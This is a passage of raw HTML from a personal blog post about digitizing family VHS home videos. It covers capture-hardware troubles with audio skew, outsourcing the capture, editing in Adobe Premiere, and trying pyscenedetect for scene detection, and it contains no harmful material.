 srcset='https://mtlynch.io/digitizing-1/mediagoblin-home_hu_321bdc116c8506a8.png 300w, https://mtlynch.io/digitizing-1/mediagoblin-home_hu_c614f8fcac27edd3.png 600w, https://mtlynch.io/digitizing-1/mediagoblin-home_hu_25f1e360a91642b9.png 800w, https://mtlynch.io/digitizing-1/mediagoblin-home.png 1000w'
 src="https://mtlynch.io/digitizing-1/mediagoblin-home.png" alt="MediaGoblin browse screen" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 413px">



 &lt;a href="https://mtlynch.io/digitizing-1/mediagoblin-single-video.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 413px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/mediagoblin-single-video_hu_9794d9b21773a07b.jpg 300w, https://mtlynch.io/digitizing-1/mediagoblin-single-video_hu_b9087c91f909dfff.jpg 600w, https://mtlynch.io/digitizing-1/mediagoblin-single-video_hu_5c10bca438ab7740.jpg 800w, https://mtlynch.io/digitizing-1/mediagoblin-single-video.jpg 1016w'
 src="https://mtlynch.io/digitizing-1/mediagoblin-single-video.jpg" alt="Screenshot of MediaGoblin displaying a video" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>All of my home videos, digitized and watchable from a private media sharing server&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>There are 513 separate clips, each with a title, description, a recording date, tags for everyone in the video, and everyone&amp;rsquo;s ages at the time of the recording. I host everything on a private media-sharing website that only my family can access, and it costs less than $1 per month to keep it running.&lt;/p>
&lt;p>This post explains how I did it, why it took me eight years, and how you can achieve the same thing with slightly less effort.&lt;/p>
&lt;h2 id="my-naïve-first-try">My naïve first try&lt;/h2>
&lt;p>Around 2010, my mom bought some sort of VHS to DVD converter and ran all of our home videos through it.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/digitizing-1/original-dvds.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/original-dvds_hu_bd60a6e491badfc.jpg 300w, https://mtlynch.io/digitizing-1/original-dvds_hu_fc5fdb92c7f1be85.jpg 600w, https://mtlynch.io/digitizing-1/original-dvds_hu_f37952adbbb60b71.jpg 800w, https://mtlynch.io/digitizing-1/original-dvds_hu_6965b4bc54dde80.jpg 1200w, https://mtlynch.io/digitizing-1/original-dvds.jpg 1500w'
 src="https://mtlynch.io/digitizing-1/original-dvds.jpg" alt="Photo of rewritable DVDs labeled by letter" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The original DVD copies of the tapes my mom made (I&amp;rsquo;m not sure what happened to the missing letters)&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The problem was that there was only one set of DVDs. Everyone in my family lived in a different state, which made it inconvenient to pass discs around.&lt;/p>
&lt;p>In 2012, my sister gave me the DVDs. I ripped them to video files and threw them all up on cloud storage. Problem solved!&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 900px">



 &lt;a href="https://mtlynch.io/digitizing-1/gcs-files.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 900px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/gcs-files_hu_c970568bd48e9825.jpg 300w, https://mtlynch.io/digitizing-1/gcs-files_hu_b04f486af5881964.jpg 600w, https://mtlynch.io/digitizing-1/gcs-files_hu_b38d38c2e6af962e.jpg 800w, https://mtlynch.io/digitizing-1/gcs-files_hu_44411f31d941c63a.jpg 1200w, https://mtlynch.io/digitizing-1/gcs-files.jpg 1414w'
 src="https://mtlynch.io/digitizing-1/gcs-files.jpg" alt="Screenshot of my converted DVD files on Google Cloud Storage" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Sharing DVD rips of my family&amp;rsquo;s home videos on Google Cloud Storage&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>A few weeks later, I asked if anyone had watched the tapes. Nobody had. I hadn&amp;rsquo;t either. In the age of YouTube, it seemed so boring to download a 3-hour mystery file in search of interesting footage.&lt;/p>
&lt;p>The only one excited was my mom. &amp;ldquo;Okay, great,&amp;rdquo; she said, &amp;ldquo;Now, can I &lt;em>finally&lt;/em> throw out all these tapes?&amp;rdquo;&lt;/p>
&lt;p>Uh oh. That was a scary question. What if there were tapes that we missed? What if we could digitize at a higher quality? What if there was interesting information on the VHS tape labels?&lt;/p>
&lt;p>I&amp;rsquo;d never feel comfortable throwing away the original tapes until I was confident that we had a comprehensive capture of all the videos at the highest possible quality. That meant doing the work myself.&lt;/p>
&lt;p>Little did I know what I was getting myself into.&lt;/p>
&lt;h2 id="that-doesnt-sound-so-hard">That doesn&amp;rsquo;t sound so hard&lt;/h2>
&lt;p>If you&amp;rsquo;re wondering why this took me eight years and hundreds of hours, I don&amp;rsquo;t blame you. I thought it would be an easy project too.&lt;/p>
&lt;p>Here&amp;rsquo;s what the digitization process looks like from start to finish:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/digitizing-1/digitizing-process.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/digitizing-process_hu_9323b28928b694c4.jpg 300w, https://mtlynch.io/digitizing-1/digitizing-process_hu_b341230dae7b3a5a.jpg 600w, https://mtlynch.io/digitizing-1/digitizing-process_hu_b46d4e8c2cc592d6.jpg 800w, https://mtlynch.io/digitizing-1/digitizing-process_hu_3b6749df222beceb.jpg 1200w, https://mtlynch.io/digitizing-1/digitizing-process.jpg 1200w'
 src="https://mtlynch.io/digitizing-1/digitizing-process.jpg" alt="TODO" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Or rather, that&amp;rsquo;s what the digitization process looks like in theory. Here&amp;rsquo;s what it looked like in practice:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/digitizing-1/digitizing-process-reality.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/digitizing-process-reality_hu_85d2c0923a79b18c.jpg 300w, https://mtlynch.io/digitizing-1/digitizing-process-reality_hu_da203dc1a9bbac4e.jpg 600w, https://mtlynch.io/digitizing-1/digitizing-process-reality_hu_581bbb2ce1bb973d.jpg 800w, https://mtlynch.io/digitizing-1/digitizing-process-reality_hu_16244690deb83d7a.jpg 1200w, https://mtlynch.io/digitizing-1/digitizing-process-reality.jpg 1200w'
 src="https://mtlynch.io/digitizing-1/digitizing-process-reality.jpg" alt="TODO" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Most of the time I spent was in re-work. I&amp;rsquo;d complete a stage only to discover a flaw in my technique one or two steps later. For example, I captured video from 20 tapes before realizing that the audio was slightly out of sync. Or I discovered after weeks of editing that I&amp;rsquo;d been exporting video in a format that doesn&amp;rsquo;t support online streaming.&lt;/p>
&lt;p>For the sake of everyone&amp;rsquo;s sanity, I&amp;rsquo;m explaining the process as if it had continual forward motion instead of constantly forcing my readers to jump backward and restart along with me.&lt;/p>
&lt;h2 id="step-1-video-capture">Step 1: Video capture&lt;/h2>
&lt;p>Okay, back to 2012. My mom was eager to end her 20-year custodianship of the family home videos, so the next time I saw her, she handed me a huge cardboard box of videotapes. My digitization adventure had begun.&lt;/p>
&lt;p>The obvious solution would be to outsource it to a professional. There are plenty of digitization companies, including businesses that specialize in processing old home videos.&lt;/p>
&lt;p>I&amp;rsquo;m reasonably privacy-sensitive, so I felt uncomfortable handing strangers footage that includes me potty training (at the appropriate age; nothing weird!). Besides, I thought, how hard could it be to digitize video?&lt;/p>
&lt;p>Spoiler alert: really hard.&lt;/p>
&lt;h3 id="my-first-attempt-at-video-capture">My first attempt at video capture&lt;/h3>
&lt;p>The old family VCR was still in my dad&amp;rsquo;s basement, so I asked him to dig it out next time we met for lunch. I bought a &lt;a href="https://smile.amazon.com/gp/product/B00M7T8T1E/">cheap RCA to USB adaptor&lt;/a> from Amazon, and I was off to the races.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/digitizing-1/totmc-adaptor.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/totmc-adaptor_hu_fc2106317c35be3e.jpg 300w, https://mtlynch.io/digitizing-1/totmc-adaptor_hu_ce69632237942a9d.jpg 600w, https://mtlynch.io/digitizing-1/totmc-adaptor_hu_56debfe2aaa8e25e.jpg 800w, https://mtlynch.io/digitizing-1/totmc-adaptor.jpg 1144w'
 src="https://mtlynch.io/digitizing-1/totmc-adaptor.jpg" alt="Picture of TOTMC RCA to USB adaptor" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The &lt;a href="https://smile.amazon.com/gp/product/B00M7T8T1E/">TOTMC video capture device&lt;/a>, the first of many A/V devices I purchased throughout this process.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>To process the video from the USB capture device, I used VirtualDub, which was a bit dated in 2012, but not &lt;em>that&lt;/em> dated.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/digitizing-1/virtualdub-capture.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/virtualdub-capture_hu_d4b6bad0f1be9175.jpg 300w, https://mtlynch.io/digitizing-1/virtualdub-capture_hu_ea4a598505ea0000.jpg 600w, https://mtlynch.io/digitizing-1/virtualdub-capture_hu_d78b87ef866afceb.jpg 800w, https://mtlynch.io/digitizing-1/virtualdub-capture.jpg 800w'
 src="https://mtlynch.io/digitizing-1/virtualdub-capture.jpg" alt="Capturing video in [VirtualDub](http://www.virtualdub.org)" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Using VirtualDub to capture raw footage of me reading to my dad at age 4&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="the-pernicious-plague-of-audio-skew">The pernicious plague of audio skew&lt;/h3>
&lt;p>As I started the editing process, I realized that the audio and video were slightly out of sync. Okay, no problem. I can shift the audio a little bit.&lt;/p>
&lt;p>Ten minutes later, it was out of sync again. Did I not shift it enough the first time?&lt;/p>
&lt;p>It slowly dawned on me that the audio and video weren&amp;rsquo;t simply offset — they captured at different rates. They diverged more and more throughout the tape. To keep them in sync, I&amp;rsquo;d repeatedly have to adjust the audio manually every few minutes of tape.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/digitizing-1/audio-skew.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/audio-skew_hu_b164375e11c5cbad.jpg 300w, https://mtlynch.io/digitizing-1/audio-skew_hu_cf6a12cb50f6a24.jpg 600w, https://mtlynch.io/digitizing-1/audio-skew_hu_4ed2b9fbe7662972.jpg 800w, https://mtlynch.io/digitizing-1/audio-skew_hu_4029ff55163e961c.jpg 1200w, https://mtlynch.io/digitizing-1/audio-skew.jpg 1200w'
 src="https://mtlynch.io/digitizing-1/audio-skew.jpg" alt="Diagram of audio skew with and without correction" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>If your video setup captures audio and video at different rates, the only solution is to correct the audio by hand every few minutes.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Do you know how difficult it is to distinguish between a sound that occurs 10 milliseconds too early or 10 milliseconds too late? It&amp;rsquo;s tough! Judge for yourself.&lt;/p>
&lt;p>Here&amp;rsquo;s a video of me playing with my poor, patient kitten Black Magic. The audio is slightly out of sync with the video. Is the audio ahead of the video or behind it?&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="magicjump.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Example of a video clip with audio and video out of sync&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>Here&amp;rsquo;s the part where Magic jumps, slowed to 1/5th speed:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="magicjump-slowmo.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Audio and video out of sync, slowed to 1/5th speed&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;div class="notice notice-info">
 &lt;strong>Answer&lt;/strong>: The audio is coming in a few milliseconds late.
&lt;/div>

&lt;h3 id="maybe-i-should-spend-an-extra-hundred-dollars-instead-of-wasting-hundreds-of-hours">Maybe I should spend an extra hundred dollars instead of wasting hundreds of hours&lt;/h3>
&lt;p>Audio correction alone took hours of tedious, maddening work. It finally occurred to me that I might avoid this headache if I chose something other than Amazon&amp;rsquo;s cheapest video capture device. After a bit more research, I bought a new one:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/digitizing-1/s-video-capture.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/s-video-capture_hu_50607959313f63d7.jpg 300w, https://mtlynch.io/digitizing-1/s-video-capture_hu_9d523908173d0104.jpg 600w, https://mtlynch.io/digitizing-1/s-video-capture_hu_c96dc9e0991d20be.jpg 800w, https://mtlynch.io/digitizing-1/s-video-capture_hu_d10cece317e2a4db.jpg 1200w, https://mtlynch.io/digitizing-1/s-video-capture.jpg 1200w'
 src="https://mtlynch.io/digitizing-1/s-video-capture.jpg" alt="GV-USB2 video capture device" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My second attempt at &lt;a href="https://smile.amazon.com/gp/product/B00428BF1Y/">purchasing a video capture device&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Even with the new device, there was still audio skew.&lt;/p>
&lt;h3 id="going-super">Going super&lt;/h3>
&lt;p>Maybe it was the VCR. &lt;a href="http://www.digitalfaq.com/guides/video/capture-playback-hardware.htm">Digitization forums&lt;/a> said audio skew wouldn&amp;rsquo;t happen with a VCR that had a &amp;ldquo;time-based corrector&amp;rdquo; (TBC), a common feature on Super VHS (S-VHS) VCRs.&lt;/p>
&lt;p>Of course! What was I doing messing around with my dumb &lt;em>regular&lt;/em> VCR when there was a &lt;strong>super&lt;/strong> VCR that could solve my problem?&lt;/p>
&lt;p>Nobody makes S-VHS VCRs anymore, but they&amp;rsquo;re still available on eBay. I spent $179 on a JVC SR-V10U, a VCR model that&amp;rsquo;s supposedly well-suited to VHS digitization:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/digitizing-1/jvc-vcr.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/jvc-vcr_hu_2142751b87d3676b.jpg 300w, https://mtlynch.io/digitizing-1/jvc-vcr_hu_c13ff9895dae912b.jpg 600w, https://mtlynch.io/digitizing-1/jvc-vcr_hu_dfb4e1cd7870867c.jpg 800w, https://mtlynch.io/digitizing-1/jvc-vcr_hu_b23448e021691443.jpg 1200w, https://mtlynch.io/digitizing-1/jvc-vcr.jpg 2000w'
 src="https://mtlynch.io/digitizing-1/jvc-vcr.jpg" alt="Photo of expensive VCR with S-VHS support" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The vintage JVC SR-V10U VCR that I bought on eBay for $179&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The super VCR arrived in the mail. After months of struggling with mismatched sound, I was overjoyed to have right in my hands the equipment that promised to solve all my problems.&lt;/p>
&lt;p>I opened the box, hooked everything up, and the audio was still out of sync. Sigh.&lt;/p>
&lt;h3 id="tedious-troubleshooting-and-the-multi-year-rut">Tedious troubleshooting and the multi-year rut&lt;/h3>
&lt;p>Troubleshooting my hardware was miserable. I&amp;rsquo;d haul all the equipment out of my closet, crawl behind my desktop to plug everything in, try a capture, and see that it didn&amp;rsquo;t work.&lt;/p>
&lt;p>Oh, a random forum post from 2008 says to install some sketchy, unsigned Chinese device driver? It&amp;rsquo;s a terrible idea, but I&amp;rsquo;m desperate. It doesn&amp;rsquo;t fix the problem.&lt;/p>
&lt;p>I tried different capturing software. I bought a &lt;a href="https://smile.amazon.com/gp/product/B000001ON6">special VHS tape&lt;/a> to clean the magnetic heads of my VCR. I bought a &lt;a href="https://smile.amazon.com/gp/product/B00EAS14KI/ref/">third capture device&lt;/a>. The results were always the same.&lt;/p>
&lt;p>Invariably, I&amp;rsquo;d give up, disconnect everything, and banish the equipment to my closet for another few months.&lt;/p>
&lt;h3 id="surrendering-to-digitization-professionals">Surrendering to digitization professionals&lt;/h3>
&lt;p>Fast forward to 2018. I had dragged these videotapes and tons of equipment to four different apartments, and I was preparing to &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#so-i-bought-a-house">move from New York City to Massachusetts&lt;/a>. I couldn&amp;rsquo;t justify moving this stuff again when it had become clear that I&amp;rsquo;d never finish the project on my own.&lt;/p>
&lt;p>I asked my family if they&amp;rsquo;d be comfortable with me sending the tapes to a digitization company. Fortunately, nobody minded — they were all much more interested in seeing the footage again.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Me&lt;/strong>: But it means some company has access to all of our home videos. You&amp;rsquo;re okay with that?&lt;br>&lt;strong>My sister&lt;/strong>: Yeah, I don&amp;rsquo;t care. You&amp;rsquo;re the only one who worries about that. Wait, you could have just paid someone to do that from the start?&lt;br>&lt;strong>Me&lt;/strong>: Uh&amp;hellip;&lt;/p>&lt;/blockquote>
&lt;p>It cost $750 to digitize all 45 tapes. That may sound expensive, but by that point, I would have paid anything to avoid another minute of troubleshooting video equipment.&lt;/p>
&lt;p>When the files came back, the quality was undisputably better. My captures always had &amp;ldquo;tearing&amp;rdquo; around the edges, but the specialists digitized everything without any distortion. Best of all, the audio and video synced up perfectly.&lt;/p>
&lt;p>Here&amp;rsquo;s a video that compares the digitization company&amp;rsquo;s capture with one of my own:&lt;/p>




&lt;figure class="video" style="max-width: 640px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="programming-pro-vs-mine.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>A comparison of professional video capture vs. my own on a tape of my mom recording my first experience writing code&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;h2 id="step-2-editing">Step 2: Editing&lt;/h2>
&lt;p>With home videos, about 90% of the footage is boring, 8% is entertaining, and 2% is amazing. After you digitize the tapes, there&amp;rsquo;s still lots of work to do.&lt;/p>
&lt;h3 id="editing-with-adobe-premiere">Editing with Adobe Premiere&lt;/h3>
&lt;p>VHS tapes contain a long stream of video clips mixed with dead air. To edit a tape, you have to identify where each clip starts and ends.&lt;/p>
&lt;p>For my editing, I used Adobe Premiere Elements, which costs less than $100 for a lifetime license. Its crucial feature for editing VHS tapes is the zoomable timeline. It allows you to find rough scene boundaries quickly and then zoom in to find the exact video frame where a clip starts or ends.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 1000px">



 &lt;a href="https://mtlynch.io/digitizing-1/premiere-elements-timeline.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1000px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/premiere-elements-timeline_hu_c54c14918ea3f1e2.jpg 300w, https://mtlynch.io/digitizing-1/premiere-elements-timeline_hu_bafa31451f635267.jpg 600w, https://mtlynch.io/digitizing-1/premiere-elements-timeline_hu_6b6a049a54d6c6f.jpg 800w, https://mtlynch.io/digitizing-1/premiere-elements-timeline_hu_bd63948c2c01209f.jpg 1200w, https://mtlynch.io/digitizing-1/premiere-elements-timeline.jpg 1250w'
 src="https://mtlynch.io/digitizing-1/premiere-elements-timeline.jpg" alt="Screenshot of Adobe Premiere Elements&amp;#39; zoomable edit feature" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The invaluable zoomable edit timeline in Adobe Premiere Elements&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The problem with Premiere is that it requires frequent starting and stopping. My process was:&lt;/p>
&lt;ol>
&lt;li>Open a raw capture file containing 30-120 minutes of video.&lt;/li>
&lt;li>Mark the boundaries of an individual clip.&lt;/li>
&lt;li>Export the clip.&lt;/li>
&lt;li>Wait 2-15 minutes until the export completes.&lt;/li>
&lt;li>Repeat steps 2-4 until the tape ends.&lt;/li>
&lt;/ol>
&lt;p>The long waits meant that I was constantly context-switching between video editing and some other task, scrambling my focus for hours&lt;/p>
&lt;p>The other drawback was non-reproducibility. Fixing a small error was almost as hard as doing the entire thing from scratch. That bit me hard when I reached the video-sharing stage. Only then did I realize I should have been exporting the videos in a format that web browsers could stream natively. My options were to restart the tedious process of exporting hundreds of clips or to re-encode the exported videos to another format, degrading their quality.&lt;/p>
&lt;h3 id="robo-editing">Robo-editing&lt;/h3>
&lt;p>After an embarrassing number of hours doing everything by hand, I wondered if I could simply throw artificial intelligence at the problem. Identifying clip boundaries seemed like a suitable machine learning task. I knew that accuracy would be less than perfect, but maybe it could do 80% of the work, and I&amp;rsquo;d fix the last 20% manually.&lt;/p>
&lt;p>I experimented with a tool called &lt;a href="https://www.scenedetect.com/">pyscenedetect&lt;/a>, which analyzes video files and prints out the timecodes where scene changes occur:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span> $ docker run &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --volume &lt;span style="color:#ed9d13">&amp;#34;/videos:/opt&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> handflucht/pyscenedetect &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --input /opt/test.mp4 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --output /opt &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> detect-content --threshold &lt;span style="color:#3677a9">80&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> list-scenes
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[PySceneDetect] Output directory set:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /opt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[PySceneDetect] Loaded &lt;span style="color:#3677a9">1&lt;/span> video, framerate: 29.97 FPS, resolution: &lt;span style="color:#3677a9">720&lt;/span> x &lt;span style="color:#3677a9">480&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[PySceneDetect] Downscale factor &lt;span style="color:#24909d">set&lt;/span> to 3, effective resolution: &lt;span style="color:#3677a9">240&lt;/span> x &lt;span style="color:#3677a9">160&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[PySceneDetect] Scene list CSV file name format:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#40ffff">$VIDEO_NAME&lt;/span>-Scenes.csv
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[PySceneDetect] Detecting scenes...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[PySceneDetect] Processed &lt;span style="color:#3677a9">55135&lt;/span> frames in 117.6 seconds (average 468.96 FPS).
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[PySceneDetect] Detected &lt;span style="color:#3677a9">33&lt;/span> scenes, average shot length 55.7 seconds.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[PySceneDetect] Writing scene list to CSV file:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /opt/test-Scenes.csv
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[PySceneDetect] Scene List:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-----------------------------------------------------------------------
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | Scene &lt;span style="color:#999;font-style:italic"># | Start Frame | Start Time | End Frame | End Time |&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-----------------------------------------------------------------------
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | &lt;span style="color:#3677a9">1&lt;/span> | &lt;span style="color:#3677a9">0&lt;/span> | 00:00:00.000 | &lt;span style="color:#3677a9">1011&lt;/span> | 00:00:33.734 |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | &lt;span style="color:#3677a9">2&lt;/span> | &lt;span style="color:#3677a9">1011&lt;/span> | 00:00:33.734 | &lt;span style="color:#3677a9">1292&lt;/span> | 00:00:43.110 |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | &lt;span style="color:#3677a9">3&lt;/span> | &lt;span style="color:#3677a9">1292&lt;/span> | 00:00:43.110 | &lt;span style="color:#3677a9">1878&lt;/span> | 00:01:02.663 |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | &lt;span style="color:#3677a9">4&lt;/span> | &lt;span style="color:#3677a9">1878&lt;/span> | 00:01:02.663 | &lt;span style="color:#3677a9">2027&lt;/span> | 00:01:07.634 |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It was indeed about 80% accurate, but checking the tool&amp;rsquo;s work took more time than it saved me. Nevertheless, pyscenedetect sparked one of my most important realizations of this entire project: identifying scene boundaries and exporting clips are separate tasks.&lt;/p>
&lt;h3 id="i-remembered-that-im-a-programmer">I remembered that I&amp;rsquo;m a programmer&lt;/h3>
&lt;p>Until that point, I had thought of &amp;ldquo;editing&amp;rdquo; as everything I was doing in Adobe Premiere. Chopping out subclips of raw footage felt inextricably tied to finding clip boundaries because that&amp;rsquo;s how Premiere presented it. When pyscenedetect printed out its table of metadata, it made me realize I could decouple scene finding from video exporting. That was a gamechanger.&lt;/p>
&lt;p>The reason that editing was so tedious and time-consuming was that I had to keep waiting for Premiere to export each clip. If I recorded the metadata in a spreadsheet and wrote a script that exported videos automatically, the editing process would fly by.&lt;/p>
&lt;p>What&amp;rsquo;s more, spreadsheets dramatically expanded the type of information I captured. Initially, I stuffed metadata into the filename, but that&amp;rsquo;s limiting and inflexible. Having an entire spreadsheet allowed me to catalog so much more about the clip like who&amp;rsquo;s in it, when it was recorded, and any other data I want to present alongside the video when people watch it.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 750px">



 &lt;a href="https://mtlynch.io/digitizing-1/spreadsheet.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 750px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/spreadsheet_hu_283675d4c1a041a6.png 300w, https://mtlynch.io/digitizing-1/spreadsheet_hu_67052360e5fcfab6.png 600w, https://mtlynch.io/digitizing-1/spreadsheet_hu_8fa180346afc8ed2.png 800w, https://mtlynch.io/digitizing-1/spreadsheet_hu_94b8c76a17b6c698.png 1200w, https://mtlynch.io/digitizing-1/spreadsheet.png 1208w'
 src="https://mtlynch.io/digitizing-1/spreadsheet.png" alt="Spreadsheet of home video metadata" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Capturing metadata about my home videos in a giant spreadsheet&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Later, I was able to use that metadata to add information to the clips like how old we all were and a detailed description of what&amp;rsquo;s going on in the clip.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/digitizing-1/spreadsheet-to-meta.png">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/digitizing-1/spreadsheet-to-meta_hu_f818874b40042e3c.png 300w, https://mtlynch.io/digitizing-1/spreadsheet-to-meta_hu_342bb38985a9e889.png 600w, https://mtlynch.io/digitizing-1/spreadsheet-to-meta_hu_dfc71528c80e911d.png 800w, https://mtlynch.io/digitizing-1/spreadsheet-to-meta_hu_2bd470ba71c604a8.png 1200w, https://mtlynch.io/digitizing-1/spreadsheet-to-meta.png 1524w'
 src="https://mtlynch.io/digitizing-1/spreadsheet-to-meta.png" alt="Visualization of how items in my spreadsheet translate to metadata in my media sharing solution" loading="lazy"/>
 &lt;/a>



